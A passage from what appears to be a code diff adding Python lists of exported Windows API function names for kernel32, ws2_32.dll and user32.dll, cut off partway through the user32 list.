'ReadFileScatter', + 'ReadProcessMemory', + 'ReadThreadProfilingData', + 'RegCloseKey', + 'RegCreateKeyExA', + 'RegCreateKeyExW', + 'RegDeleteKeyExA', + 'RegDeleteKeyExW', + 'RegDeleteTreeA', + 'RegDeleteTreeW', + 'RegDeleteValueA', + 'RegDeleteValueW', + 'RegDisablePredefinedCacheEx', + 'RegEnumKeyExA', + 'RegEnumKeyExW', + 'RegEnumValueA', + 'RegEnumValueW', + 'RegFlushKey', + 'RegGetKeySecurity', + 'RegGetValueA', + 'RegGetValueW', + 'RegKrnGetGlobalState', + 'RegKrnInitialize', + 'RegLoadKeyA', + 'RegLoadKeyW', + 'RegLoadMUIStringA', + 'RegLoadMUIStringW', + 'RegNotifyChangeKeyValue', + 'RegOpenCurrentUser', + 'RegOpenKeyExA', + 'RegOpenKeyExW', + 'RegOpenUserClassesRoot', + 'RegQueryInfoKeyA', + 'RegQueryInfoKeyW', + 'RegQueryValueExA', + 'RegQueryValueExW', + 'RegRestoreKeyA', + 'RegRestoreKeyW', + 'RegSaveKeyExA', + 'RegSaveKeyExW', + 'RegSetKeySecurity', + 'RegSetValueExA', + 'RegSetValueExW', + 'RegUnLoadKeyA', + 'RegUnLoadKeyW', + 'RegisterApplicationRecoveryCallback', + 'RegisterApplicationRestart', + 'RegisterConsoleIME', + 'RegisterConsoleOS2', + 'RegisterConsoleVDM', + 'RegisterWaitForInputIdle', + 'RegisterWaitForSingleObject', + 'RegisterWaitForSingleObjectEx', + 'RegisterWowBaseHandlers', + 'RegisterWowExec', + 'ReleaseActCtx', + 'ReleaseMutex', + 'ReleaseMutexWhenCallbackReturns', + 'ReleaseSRWLockExclusive', + 'ReleaseSRWLockShared', + 'ReleaseSemaphore', + 'ReleaseSemaphoreWhenCallbackReturns', + 'RemoveDirectoryA', + 'RemoveDirectoryTransactedA', + 'RemoveDirectoryTransactedW', + 'RemoveDirectoryW', + 'RemoveDllDirectory', + 'RemoveLocalAlternateComputerNameA', + 'RemoveLocalAlternateComputerNameW', + 'RemoveSecureMemoryCacheCallback', + 'RemoveVectoredContinueHandler', + 'RemoveVectoredExceptionHandler', + 'ReplaceFile', + 'ReplaceFileA', + 'ReplaceFileW', + 'ReplacePartitionUnit', + 'RequestDeviceWakeup', + 'RequestWakeupLatency', + 'ResetEvent', + 'ResetWriteWatch', + 'ResolveLocaleName', + 'RestoreLastError', + 'ResumeThread', + 'RtlCaptureContext', + 'RtlCaptureStackBackTrace', + 'RtlFillMemory', + 'RtlMoveMemory', + 'RtlUnwind', + 'RtlZeroMemory', + 'ScrollConsoleScreenBufferA', + 'ScrollConsoleScreenBufferW', + 'SearchPathA', + 'SearchPathW', + 'SetCalendarInfoA', + 'SetCalendarInfoW', + 'SetClientTimeZoneInformation', + 'SetComPlusPackageInstallStatus', + 'SetCommBreak', + 'SetCommConfig', + 'SetCommMask', + 'SetCommState', + 'SetCommTimeouts', + 'SetComputerNameA', + 'SetComputerNameExA', + 'SetComputerNameExW', + 'SetComputerNameW', + 'SetConsoleActiveScreenBuffer', + 'SetConsoleCP', + 'SetConsoleCtrlHandler', + 'SetConsoleCursor', + 'SetConsoleCursorInfo', + 'SetConsoleCursorMode', + 'SetConsoleCursorPosition', + 'SetConsoleDisplayMode', + 'SetConsoleFont', + 'SetConsoleHardwareState', + 'SetConsoleHistoryInfo', + 'SetConsoleIcon', + 'SetConsoleInputExeNameA', + 'SetConsoleInputExeNameW', + 'SetConsoleKeyShortcuts', + 'SetConsoleLocalEUDC', + 'SetConsoleMaximumWindowSize', + 'SetConsoleMenuClose', + 'SetConsoleMode', + 'SetConsoleNlsMode', + 'SetConsoleNumberOfCommandsA', + 'SetConsoleNumberOfCommandsW', + 'SetConsoleOS2OemFormat', + 'SetConsoleOutputCP', + 'SetConsolePalette', + 'SetConsoleScreenBufferInfoEx', + 'SetConsoleScreenBufferSize', + 'SetConsoleTextAttribute', + 'SetConsoleTitleA', + 'SetConsoleTitleW', + 'SetConsoleWindowInfo', + 'SetCriticalSectionSpinCount', + 'SetCurrentConsoleFontEx', + 'SetCurrentDirectoryA', + 'SetCurrentDirectoryW', + 'SetDefaultCommConfigA', + 'SetDefaultCommConfigW', + 'SetDefaultDllDirectories', + 'SetDllDirectoryA', + 'SetDllDirectoryW', + 'SetDynamicTimeZoneInformation', + 'SetEndOfFile', + 'SetEnvironmentStringsA', + 'SetEnvironmentStringsW', + 'SetEnvironmentVariableA', + 'SetEnvironmentVariableW', + 'SetErrorMode', + 'SetEvent', + 'SetEventWhenCallbackReturns', + 'SetFileApisToANSI', + 'SetFileApisToOEM', + 'SetFileAttributesA', + 'SetFileAttributesTransactedA', + 'SetFileAttributesTransactedW', + 'SetFileAttributesW', + 'SetFileBandwidthReservation', + 'SetFileCompletionNotificationModes', + 'SetFileInformationByHandle', + 'SetFileIoOverlappedRange', + 'SetFilePointer', + 'SetFilePointerEx', + 'SetFileShortNameA', + 'SetFileShortNameW', + 'SetFileTime', + 'SetFileValidData', + 'SetFirmwareEnvironmentVariableA', + 'SetFirmwareEnvironmentVariableW', + 'SetHandleContext', + 'SetHandleCount', + 'SetHandleInformation', + 'SetInformationJobObject', + 'SetLastConsoleEventActive', + 'SetLastError', + 'SetLocalPrimaryComputerNameA', + 'SetLocalPrimaryComputerNameW', + 'SetLocalTime', + 'SetLocaleInfoA', + 'SetLocaleInfoW', + 'SetMailslotInfo', + 'SetMessageWaitingIndicator', + 'SetNamedPipeAttribute', + 'SetNamedPipeHandleState', + 'SetPriorityClass', + 'SetProcessAffinityMask', + 'SetProcessAffinityUpdateMode', + 'SetProcessDEPPolicy', + 'SetProcessPreferredUILanguages', + 'SetProcessPriorityBoost', + 'SetProcessShutdownParameters', + 'SetProcessUserModeExceptionPolicy', + 'SetProcessWorkingSetSize', + 'SetProcessWorkingSetSizeEx', + 'SetSearchPathMode', + 'SetStdHandle', + 'SetStdHandleEx', + 'SetSystemFileCacheSize', + 'SetSystemPowerState', + 'SetSystemTime', + 'SetSystemTimeAdjustment', + 'SetTapeParameters', + 'SetTapePosition', + 'SetTermsrvAppInstallMode', + 'SetThreadAffinityMask', + 'SetThreadContext', + 'SetThreadErrorMode', + 'SetThreadExecutionState', + 'SetThreadGroupAffinity', + 'SetThreadIdealProcessor', + 'SetThreadIdealProcessorEx', + 'SetThreadLocale', + 'SetThreadPreferredUILanguages', + 'SetThreadPriority', + 'SetThreadPriorityBoost', + 'SetThreadStackGuarantee', + 'SetThreadToken', + 'SetThreadUILanguage', + 'SetThreadpoolStackInformation', + 'SetThreadpoolThreadMaximum', + 'SetThreadpoolThreadMinimum', + 'SetThreadpoolTimer', + 'SetThreadpoolWait', + 'SetTimeZoneInformation', + 'SetTimerQueueTimer', + 'SetUnhandledExceptionFilter', + 'SetUserGeoID', + 'SetVDMCurrentDirectories', + 'SetVolumeLabelA', + 'SetVolumeLabelW', + 'SetVolumeMountPointA', + 'SetVolumeMountPointW', + 'SetWaitableTimer', + 'SetWaitableTimerEx', + 'SetXStateFeaturesMask', + 'SetupComm', + 'ShowConsoleCursor', + 'SignalObjectAndWait', + 'SizeofResource', + 'Sleep', + 'SleepConditionVariableCS', + 'SleepConditionVariableSRW', + 'SleepEx', + 'SortCloseHandle', + 'SortGetHandle', + 'StartThreadpoolIo', + 'SubmitThreadpoolWork', + 'SuspendThread', + 'SwitchToFiber', + 'SwitchToThread', + 'SystemTimeToFileTime', + 'SystemTimeToTzSpecificLocalTime', + 'SystemTimeToTzSpecificLocalTimeEx', + 'TerminateJobObject', + 'TerminateProcess', + 'TerminateThread', + 'TermsrvAppInstallMode', + 'Thread32First', + 'Thread32Next', + 'TlsAlloc', + 'TlsFree', + 'TlsGetValue', + 'TlsSetValue', + 'Toolhelp32ReadProcessMemory', + 'TransactNamedPipe', + 'TransmitCommChar', + 'TryAcquireSRWLockExclusive', + 'TryAcquireSRWLockShared', + 'TryEnterCriticalSection', + 'TrySubmitThreadpoolCallback', + 'TzSpecificLocalTimeToSystemTime', + 'TzSpecificLocalTimeToSystemTimeEx', + 'UTRegister', + 'UTUnRegister', + 'UnhandledExceptionFilter', + 'UnlockFile', + 'UnlockFileEx', + 'UnmapViewOfFile', + 'UnregisterApplicationRecoveryCallback', + 'UnregisterApplicationRestart', + 'UnregisterConsoleIME', + 'UnregisterWait', + 'UnregisterWaitEx', + 'UpdateCalendarDayOfWeek', + 'UpdateProcThreadAttribute', + 'UpdateResourceA', + 'UpdateResourceW', + 'VDMConsoleOperation', + 'VDMOperationStarted', + 'VerLanguageNameA', + 'VerLanguageNameW', + 'VerSetConditionMask', + 'VerifyConsoleIoHandle', + 'VerifyScripts', + 'VerifyVersionInfoA', + 'VerifyVersionInfoW', + 'VirtualAlloc', + 'VirtualAllocEx', + 'VirtualAllocExNuma', + 'VirtualFree', + 'VirtualFreeEx', + 'VirtualLock', + 'VirtualProtect', + 'VirtualProtectEx', + 'VirtualQuery', + 'VirtualQueryEx', + 'VirtualUnlock', + 'WTSGetActiveConsoleSessionId', + 'WaitCommEvent', + 'WaitForDebugEvent', + 'WaitForMultipleObjects', + 'WaitForMultipleObjectsEx', + 'WaitForSingleObject', + 'WaitForSingleObjectEx', + 'WaitForThreadpoolIoCallbacks', + 'WaitForThreadpoolTimerCallbacks', + 'WaitForThreadpoolWaitCallbacks', + 'WaitForThreadpoolWorkCallbacks', + 'WaitNamedPipeA', + 'WaitNamedPipeW', + 'WakeAllConditionVariable', + 'WakeConditionVariable', + 'WerGetFlags', + 'WerRegisterFile', + 'WerRegisterMemoryBlock', + 'WerRegisterRuntimeExceptionModule', + 'WerSetFlags', + 'WerUnregisterFile', + 'WerUnregisterMemoryBlock', + 'WerUnregisterRuntimeExceptionModule', + 'WerpCleanupMessageMapping', + 'WerpInitiateRemoteRecovery', + 'WerpNotifyLoadStringResource', + 'WerpNotifyLoadStringResourceEx', + 'WerpNotifyUseStringResource', + 'WerpStringLookup', + 'WideCharToMultiByte', + 'WinExec', + 'Wow64DisableWow64FsRedirection', + 'Wow64EnableWow64FsRedirection', + 'Wow64GetThreadContext', + 'Wow64GetThreadSelectorEntry', + 'Wow64RevertWow64FsRedirection', + 'Wow64SetThreadContext', + 'Wow64SuspendThread', + 'WriteConsoleA', + 'WriteConsoleInputA', + 'WriteConsoleInputVDMA', + 'WriteConsoleInputVDMW', + 'WriteConsoleInputW', + 'WriteConsoleOutputA', + 'WriteConsoleOutputAttribute', + 'WriteConsoleOutputCharacterA', + 'WriteConsoleOutputCharacterW', + 'WriteConsoleOutputW', + 'WriteConsoleW', + 'WriteFile', + 'WriteFileEx', + 'WriteFileGather', + 'WritePrivateProfileSectionA', + 'WritePrivateProfileSectionW', + 'WritePrivateProfileStringA', + 'WritePrivateProfileStringW', + 'WritePrivateProfileStructA', + 'WritePrivateProfileStructW', + 'WriteProcessMemory', + 'WriteProfileSectionA', + 'WriteProfileSectionW', + 'WriteProfileStringA', + 'WriteProfileStringW', + 'WriteTapemark', + 'ZombifyActCtx', + '_hread', + '_hwrite', + '_lclose', + '_lcreat', + '_llseek', + '_lopen', + '_lread', + '_lwrite', + 'lstrcat', + 'lstrcatA', + 'lstrcatW', + 'lstrcmp', + 'lstrcmpA', + 'lstrcmpW', + 'lstrcmpi', + 'lstrcmpiA', + 'lstrcmpiW', + 'lstrcpy', + 'lstrcpyA', + 'lstrcpyW', + 'lstrcpyn', + 'lstrcpynA', + 'lstrcpynW', + 'lstrlen', + 'lstrlenA', + 'lstrlenW', + ], + 'ws2_32.dll': ['FreeAddrInfoEx', + 'FreeAddrInfoExW', + 'FreeAddrInfoW', + 'GetAddrInfoExA', + 'GetAddrInfoExW', + 'GetAddrInfoW', + 'GetNameInfoW', + 'InetNtopW', + 'InetPtonW', + 'SetAddrInfoExA', + 'SetAddrInfoExW', + 'WEP', + 'WPUCompleteOverlappedRequest', + 'WSAAccept', + 'WSAAddressToStringA', + 'WSAAddressToStringW', + 'WSAAdvertiseProvider', + 'WSAAsyncGetHostByAddr', + 'WSAAsyncGetHostByName', + 'WSAAsyncGetProtoByName', + 'WSAAsyncGetProtoByNumber', + 'WSAAsyncGetServByName', + 'WSAAsyncGetServByPort', + 'WSAAsyncSelect', + 'WSACancelAsyncRequest', + 'WSACancelBlockingCall', + 'WSACleanup', + 'WSACloseEvent', + 'WSAConnect', + 'WSAConnectByList', + 'WSAConnectByNameA', + 'WSAConnectByNameW', + 'WSACreateEvent', + 'WSADuplicateSocketA', + 'WSADuplicateSocketW', + 'WSAEnumNameSpaceProvidersA', + 'WSAEnumNameSpaceProvidersExA', + 'WSAEnumNameSpaceProvidersExW', + 'WSAEnumNameSpaceProvidersW', + 'WSAEnumNetworkEvents', + 'WSAEnumProtocolsA', + 'WSAEnumProtocolsW', + 'WSAEventSelect', + 'WSAGetLastError', + 'WSAGetOverlappedResult', + 'WSAGetQOSByName', + 'WSAGetServiceClassInfoA', + 'WSAGetServiceClassInfoW', + 'WSAGetServiceClassNameByClassIdA', + 'WSAGetServiceClassNameByClassIdW', + 'WSAHtonl', + 'WSAHtons', + 'WSAInstallServiceClassA', + 'WSAInstallServiceClassW', + 'WSAIoctl', + 'WSAIsBlocking', + 'WSAJoinLeaf', + 'WSALookupServiceBeginA', + 'WSALookupServiceBeginW', + 'WSALookupServiceEnd', + 'WSALookupServiceNextA', + 'WSALookupServiceNextW', + 'WSANSPIoctl', + 'WSANtohl', + 'WSANtohs', + 'WSAPoll', + 'WSAProviderCompleteAsyncCall', + 'WSAProviderConfigChange', + 'WSARecv', + 'WSARecvDisconnect', + 'WSARecvFrom', + 'WSARemoveServiceClass', + 'WSAResetEvent', + 'WSASend', + 'WSASendDisconnect', + 'WSASendMsg', + 'WSASendTo', + 'WSASetBlockingHook', + 'WSASetEvent', + 'WSASetLastError', + 'WSASetServiceA', + 'WSASetServiceW', + 'WSASocketA', + 'WSASocketW', + 'WSAStartup', + 'WSAStringToAddressA', + 'WSAStringToAddressW', + 'WSAUnadvertiseProvider', + 'WSAUnhookBlockingHook', + 'WSAWaitForMultipleEvents', + 'WSApSetPostRoutine', + 'WSCDeinstallProvider', + 'WSCEnableNSProvider', + 'WSCEnumProtocols', + 'WSCGetApplicationCategory', + 'WSCGetProviderInfo', + 'WSCGetProviderPath', + 'WSCInstallNameSpace', + 'WSCInstallNameSpaceEx', + 'WSCInstallProvider', + 'WSCInstallProviderAndChains', + 'WSCSetApplicationCategory', + 'WSCSetProviderInfo', + 'WSCUnInstallNameSpace', + 'WSCUpdateProvider', + 'WSCWriteNameSpaceOrder', + 'WSCWriteProviderOrder', + 'WahCloseApcHelper', + 'WahCloseHandleHelper', + 'WahCloseNotificationHandleHelper', + 'WahCloseSocketHandle', + 'WahCloseThread', + 'WahCompleteRequest', + 'WahCreateHandleContextTable', + 'WahCreateNotificationHandle', + 'WahCreateSocketHandle', + 'WahDestroyHandleContextTable', + 'WahDisableNonIFSHandleSupport', + 'WahEnableNonIFSHandleSupport', + 'WahEnumerateHandleContexts', + 'WahInsertHandleContext', + 'WahNotifyAllProcesses', + 'WahOpenApcHelper', + 'WahOpenCurrentThread', + 'WahOpenHandleHelper', + 'WahOpenNotificationHandleHelper', + 'WahQueueUserApc', + 'WahReferenceContextByHandle', + 'WahRemoveHandleContext', + 'WahWaitForNotification', + 'WahWriteLSPEvent', + '__WSAFDIsSet', + 'accept', + 'bind', + 'closesocket', + 'connect', + 'freeaddrinfo', + 'getaddrinfo', + 'gethostbyaddr', + 'gethostbyname', + 'gethostname', + 'getnameinfo', + 'getpeername', + 'getprotobyname', + 'getprotobynumber', + 'getservbyname', + 'getservbyport', + 'getsockname', + 'getsockopt', + 'htonl', + 'htons', + 'inet_addr', + 'inet_ntoa', + 'inet_ntop', + 'inet_pton', + 'ioctlsocket', + 'listen', + 'ntohl', + 'ntohs', + 'recv', + 'recvfrom', + 'select', + 'send', + 'sendto', + 'setsockopt', + 'shutdown', + 'socket', + ], + 'user32.dll': ['ActivateKeyboardLayout', + 'AddClipboardFormatListener', + 'AdjustWindowRect', + 'AdjustWindowRectEx', + 'AlignRects', + 'AllowForegroundActivation', + 'AllowSetForegroundWindow', + 'AnimateWindow', + 'AnyPopup', + 'AppendMenuA', + 'AppendMenuW', + 'ArrangeIconicWindows', + 'AttachThreadInput', + 'BeginDeferWindowPos', + 'BeginPaint', + 'BlockInput', + 'BringWindowToTop', + 'BroadcastSystemMessage', + 'BroadcastSystemMessageA', + 'BroadcastSystemMessageExA', + 'BroadcastSystemMessageExW', + 'BroadcastSystemMessageW', + 'BuildReasonArray', + 'CalcMenuBar', + 'CalculatePopupWindowPosition', + 'CallMsgFilter', + 'CallMsgFilterA', + 'CallMsgFilterW', + 'CallNextHookEx', + 'CallWindowProcA', + 'CallWindowProcW', + 'CancelShutdown', + 'CascadeChildWindows', + 'CascadeWindows', + 'ChangeClipboardChain', + 'ChangeDisplaySettingsA', + 'ChangeDisplaySettingsExA', + 'ChangeDisplaySettingsExW', + 'ChangeDisplaySettingsW', + 'ChangeMenuA', + 'ChangeMenuW', + 'ChangeWindowMessageFilter', + 'ChangeWindowMessageFilterEx', + 'CharLowerA', + 'CharLowerBuffA', + 'CharLowerBuffW', + 'CharLowerW', + 'CharNextA', + 'CharNextExA', + 'CharNextW', + 'CharPrevA', + 'CharPrevExA', + 'CharPrevW', + 'CharToOemA', + 'CharToOemBuffA', + 'CharToOemBuffW', + 'CharToOemW', + 'CharUpperA', + 'CharUpperBuffA', + 'CharUpperBuffW', + 'CharUpperW', + 'CheckDesktopByThreadId', + 'CheckDlgButton', + 'CheckMenuItem', + 'CheckMenuRadioItem', + 'CheckRadioButton', + 'CheckWindowThreadDesktop', + 'ChildWindowFromPoint', + 'ChildWindowFromPointEx', + 'CliImmSetHotKey', + 'ClientThreadSetup', + 'ClientToScreen', + 'ClipCursor', + 'CloseClipboard', + 'CloseDesktop', + 'CloseGestureInfoHandle', + 'CloseTouchInputHandle', + 'CloseWindow', + 'CloseWindowStation', + 'ConsoleControl', + 'ControlMagnification', + 'CopyAcceleratorTableA', + 'CopyAcceleratorTableW', + 'CopyIcon', + 'CopyImage', + 'CopyRect', + 'CountClipboardFormats', + 'CreateAcceleratorTableA', + 'CreateAcceleratorTableW', + 'CreateCaret', + 'CreateCursor', + 'CreateDesktopA', + 'CreateDesktopExA', + 'CreateDesktopExW', + 'CreateDesktopW', + 'CreateDialogIndirectParamA', + 'CreateDialogIndirectParamAorW', + 'CreateDialogIndirectParamW', + 'CreateDialogParamA', + 'CreateDialogParamW', + 'CreateIcon', + 'CreateIconFromResource', + 'CreateIconFromResourceEx', + 'CreateIconIndirect', + 'CreateMDIWindowA', + 'CreateMDIWindowW', + 'CreateMenu', + 'CreatePopupMenu', + 'CreateSystemThreads', + 'CreateWindowExA', + 'CreateWindowExW', + 'CreateWindowStationA', + 'CreateWindowStationW', + 'CsrBroadcastSystemMessageExW', + 'CtxInitUser32', + 'DdeAbandonTransaction', + 'DdeAccessData', + 'DdeAddData', + 'DdeClientTransaction', + 'DdeCmpStringHandles', + 'DdeConnect', + 'DdeConnectList', + 'DdeCreateDataHandle', + 'DdeCreateStringHandleA', + 'DdeCreateStringHandleW', + 'DdeDisconnect', + 'DdeDisconnectList', + 'DdeEnableCallback', + 'DdeFreeDataHandle', + 'DdeFreeStringHandle', + 'DdeGetData', + 'DdeGetLastError', + 'DdeGetQualityOfService', + 'DdeImpersonateClient', + 'DdeInitializeA', + 'DdeInitializeW', + 'DdeKeepStringHandle', + 'DdeNameService', + 'DdePostAdvise', + 'DdeQueryConvInfo', + 'DdeQueryNextServer', + 'DdeQueryStringA', + 'DdeQueryStringW', + 'DdeReconnect', + 'DdeSetQualityOfService', + 'DdeSetUserHandle', + 'DdeUnaccessData', + 'DdeUninitialize', + 'DefDlgProcA', + 'DefDlgProcW', + 'DefFrameProcA', + 'DefFrameProcW', + 'DefMDIChildProcA', + 'DefMDIChildProcW', + 'DefRawInputProc', + 'DefWindowProcA', + 'DefWindowProcW', + 'DeferWindowPos', + 'DeleteMenu', + 'DeregisterShellHookWindow', + 'DestroyAcceleratorTable', + 'DestroyCaret', + 'DestroyCursor', + 'DestroyIcon', + 'DestroyMenu', + 'DestroyReasons', + 'DestroyWindow', + 'DeviceEventWorker', + 'DialogBoxIndirectParamA', + 'DialogBoxIndirectParamAorW', + 'DialogBoxIndirectParamW', + 'DialogBoxParamA', + 'DialogBoxParamW', + 'DisableProcessWindowsGhosting', + 'DispatchMessageA', + 'DispatchMessageW', + 'DisplayConfigGetDeviceInfo', + 'DisplayConfigSetDeviceInfo', + 'DisplayExitWindowsWarnings', + 'DlgDirListA', + 'DlgDirListComboBoxA', + 'DlgDirListComboBoxW', + 'DlgDirListW', + 'DlgDirSelectComboBoxExA', + 'DlgDirSelectComboBoxExW', + 'DlgDirSelectExA', + 'DlgDirSelectExW', + 'DoSoundConnect', + 'DoSoundDisconnect', + 'DragDetect', + 'DragObject', + 'DrawAnimatedRects', + 'DrawCaption', + 'DrawCaptionTempA', + 'DrawCaptionTempW', + 'DrawEdge', + 'DrawFocusRect', + 'DrawFrame', + 'DrawFrameControl', + 'DrawIcon', + 'DrawIconEx', + 'DrawMenuBar', + 'DrawMenuBarTemp', + 'DrawStateA', + 'DrawStateW', + 'DrawTextA', + 'DrawTextExA', + 'DrawTextExW', + 'DrawTextW', + 'DwmGetDxSharedSurface', + 'DwmStartRedirection', + 'DwmStopRedirection', + 'EditWndProc', + 'EmptyClipboard', + 'EnableMenuItem', + 'EnableScrollBar', + 'EnableWindow', + 'EndDeferWindowPos', + 'EndDialog', + 'EndMenu', + 'EndPaint', + 'EndTask', + 'EnterReaderModeHelper', + 'EnumChildWindows', + 'EnumClipboardFormats', + 'EnumDesktopWindows', + 'EnumDesktopsA', + 'EnumDesktopsW', + 'EnumDisplayDevicesA', + 'EnumDisplayDevicesW', + 'EnumDisplayMonitors', + 'EnumDisplaySettingsA', + 'EnumDisplaySettingsExA', + 'EnumDisplaySettingsExW', + 'EnumDisplaySettingsW', + 'EnumPropsA', + 'EnumPropsExA', + 'EnumPropsExW', + 'EnumPropsW', + 'EnumThreadWindows', + 'EnumWindowStationsA', + 'EnumWindowStationsW', + 'EnumWindows', + 'EqualRect', + 'ExcludeUpdateRgn', + 'ExitWindowsEx', + 'FillRect', + 'FindWindowA', + 'FindWindowExA', + 'FindWindowExW', + 'FindWindowW', + 'FlashWindow', + 'FlashWindowEx', + 'FrameRect', + 'FreeDDElParam', + 'FrostCrashedWindow', + 'GetActiveWindow', + 'GetAltTabInfo', + 'GetAltTabInfoA', + 'GetAltTabInfoW', + 'GetAncestor', + 'GetAppCompatFlags', + 'GetAppCompatFlags2', + 'GetAsyncKeyState', + 'GetCapture', + 'GetCaretBlinkTime', + 'GetCaretPos', + 'GetClassInfoA', + 'GetClassInfoExA', + 'GetClassInfoExW', + 'GetClassInfoW', + 'GetClassLongA', + 'GetClassLongW', + 'GetClassNameA', + 'GetClassNameW', + 'GetClassWord', + 'GetClientRect', + 'GetClipCursor', + 'GetClipboardData', + 'GetClipboardFormatNameA', + 'GetClipboardFormatNameW', + 'GetClipboardOwner', + 'GetClipboardSequenceNumber', + 'GetClipboardViewer', + 'GetComboBoxInfo', + 'GetCursor', + 'GetCursorFrameInfo', + 'GetCursorInfo', + 'GetCursorPos', + 'GetDC', + 'GetDCEx', + 'GetDesktopWindow', + 'GetDialogBaseUnits', + 'GetDisplayConfigBufferSizes', + 'GetDlgCtrlID', + 'GetDlgItem', + 'GetDlgItemInt', + 'GetDlgItemTextA', + 'GetDlgItemTextW', + 'GetDoubleClickTime', + 'GetFocus', + 'GetForegroundWindow', + 'GetGUIThreadInfo', + 'GetGestureConfig', + 'GetGestureExtraArgs', + 'GetGestureInfo', + 'GetGuiResources', + 'GetIconInfo', + 'GetIconInfoExA', + 'GetIconInfoExW', + 'GetInputDesktop', + 'GetInputLocaleInfo', + 'GetInputState', + 'GetInternalWindowPos', + 'GetKBCodePage', + 'GetKeyNameTextA', + 'GetKeyNameTextW', + 'GetKeyState', + 'GetKeyboardLayout', + 'GetKeyboardLayoutList', + 'GetKeyboardLayoutNameA', + 'GetKeyboardLayoutNameW', + 'GetKeyboardState', + 'GetKeyboardType', + 'GetLastActivePopup', + 'GetLastInputInfo', + 'GetLayeredWindowAttributes', + 'GetListBoxInfo', + 'GetMagnificationDesktopColorEffect', + 'GetMagnificationDesktopMagnification', + 'GetMagnificationLensCtxInformation', + 'GetMenu', + 'GetMenuBarInfo', + 'GetMenuCheckMarkDimensions', + 'GetMenuContextHelpId', + 'GetMenuDefaultItem', + 'GetMenuInfo', + 'GetMenuItemCount', + 'GetMenuItemID', + 'GetMenuItemInfoA', + 'GetMenuItemInfoW', + 'GetMenuItemRect', + 'GetMenuState', + 'GetMenuStringA', + 'GetMenuStringW', + 'GetMessageA', + 'GetMessageExtraInfo', + 'GetMessagePos', + 'GetMessageTime', + 'GetMessageW', + 'GetMonitorInfoA', + 'GetMonitorInfoW', + 'GetMouseMovePointsEx', + 'GetNextDlgGroupItem', + 'GetNextDlgTabItem', + 'GetOpenClipboardWindow', + 'GetParent', + 'GetPhysicalCursorPos', + 'GetPriorityClipboardFormat', + 'GetProcessDefaultLayout', + 'GetProcessWindowStation', + 'GetProgmanWindow', + 'GetPropA', + 'GetPropW', + 'GetQueueStatus', + 'GetRawInputBuffer', + 'GetRawInputData', + 'GetRawInputDeviceInfoA', + 'GetRawInputDeviceInfoW', + 'GetRawInputDeviceList', + 'GetReasonTitleFromReasonCode', + 'GetRegisteredRawInputDevices', + 'GetScrollBarInfo', + 'GetScrollInfo', + 'GetScrollPos', + 'GetScrollRange', + 'GetSendMessageReceiver', + 'GetShellWindow', + 'GetSubMenu', + 'GetSysColor', + 'GetSysColorBrush', + 'GetSystemMenu', + 'GetSystemMetrics', + 'GetTabbedTextExtentA', + 'GetTabbedTextExtentW', + 'GetTaskmanWindow', + 'GetThreadDesktop', + 'GetTitleBarInfo', + 'GetTopLevelWindow', + 'GetTopWindow', + 'GetTouchInputInfo', + 'GetUpdateRect', + 'GetUpdateRgn', + 'GetUpdatedClipboardFormats', + 'GetUserObjectInformationA', + 'GetUserObjectInformationW', + 'GetUserObjectSecurity', + 'GetWinStationInfo', + 'GetWindow', + 'GetWindowCompositionAttribute', + 'GetWindowCompositionInfo', + 'GetWindowContextHelpId', + 'GetWindowDC', + 'GetWindowDisplayAffinity', + 'GetWindowInfo', + 'GetWindowLongA', + 'GetWindowLongW', + 'GetWindowMinimizeRect', + 'GetWindowModuleFileName', + 'GetWindowModuleFileNameA', + 'GetWindowModuleFileNameW', + 'GetWindowPlacement', + 'GetWindowRect', + 'GetWindowRgn', + 'GetWindowRgnBox', + 'GetWindowRgnEx', + 'GetWindowTextA', + 'GetWindowTextLengthA', + 'GetWindowTextLengthW', + 'GetWindowTextW', + 'GetWindowThreadProcessId', + 'GetWindowWord', + 'GhostWindowFromHungWindow', + 'GrayStringA', + 'GrayStringW', + 'HideCaret', + 'HiliteMenuItem', + 'HungWindowFromGhostWindow', + 'IMPGetIMEA', + 'IMPGetIMEW', + 'IMPQueryIMEA', + 'IMPQueryIMEW', + 'IMPSetIMEA', + 'IMPSetIMEW', + 'ImpersonateDdeClientWindow', + 'InSendMessage', + 'InSendMessageEx', + 'InflateRect', + 'InitializeLpkHooks', + 'InsertMenuA', + 'InsertMenuItemA', + 'InsertMenuItemW', + 'InsertMenuW', + 'InternalGetWindowIcon', + 'InternalGetWindowText', + 'IntersectRect', + 'InvalidateRect', + 'InvalidateRgn', + 'InvertRect', + 'IsCharAlphaA', + 'IsCharAlphaNumericA', + 'IsCharAlphaNumericW', + 'IsCharAlphaW', + 'IsCharLowerA', + 'IsCharLowerW', + 'IsCharUpperA', + 'IsCharUpperW', + 'IsChild', + 'IsClipboardFormatAvailable', + 'IsDialogMessage', + 'IsDialogMessageA', + 'IsDialogMessageW', + 'IsDlgButtonChecked', + 'IsGUIThread', + 'IsHungAppWindow', + 'IsIconic', + 'IsMenu', + 'IsProcessDPIAware', + 'IsRectEmpty', + 'IsSETEnabled', + 'IsServerSideWindow', + 'IsThreadDesktopComposited', + 'IsTopLevelWindow', + 'IsTouchWindow', + 'IsWinEventHookInstalled', + 'IsWindow', + 'IsWindowEnabled', + 'IsWindowInDestroy', + 'IsWindowRedirectedForPrint', + 'IsWindowUnicode', + 'IsWindowVisible', + 'IsWow64Message', + 'IsZoomed', + 'KillTimer', + 'LoadAcceleratorsA', + 'LoadAcceleratorsW', + 'LoadBitmapA', + 'LoadBitmapW', + 'LoadCursorA', + 'LoadCursorFromFileA', + 'LoadCursorFromFileW', + 'LoadCursorW', + 'LoadIconA', + 'LoadIconW', + 'LoadImageA', + 'LoadImageW', + 'LoadKeyboardLayoutA', + 'LoadKeyboardLayoutEx', + 'LoadKeyboardLayoutW', + 'LoadLocalFonts', + 'LoadMenuA', + 'LoadMenuIndirectA', + 'LoadMenuIndirectW', + 'LoadMenuW', + 'LoadRemoteFonts', + 'LoadStringA', + 'LoadStringW', + 'LockSetForegroundWindow', + 'LockWindowStation', + 'LockWindowUpdate', + 'LockWorkStation', + 'LogicalToPhysicalPoint', + 'LookupIconIdFromDirectory', + 'LookupIconIdFromDirectoryEx', + 'MBToWCSEx', + 'MB_GetString', + 'MapDialogRect', + 'MapVirtualKeyA', + 'MapVirtualKeyExA', + 'MapVirtualKeyExW', + 'MapVirtualKeyW', + 'MapWindowPoints', + 'MenuItemFromPoint', + 'MenuWindowProcA', + 'MenuWindowProcW', + 'MessageBeep', + 'MessageBoxA', + 'MessageBoxExA', + 'MessageBoxExW', + 'MessageBoxIndirectA', + 'MessageBoxIndirectW', + 'MessageBoxTimeoutA', + 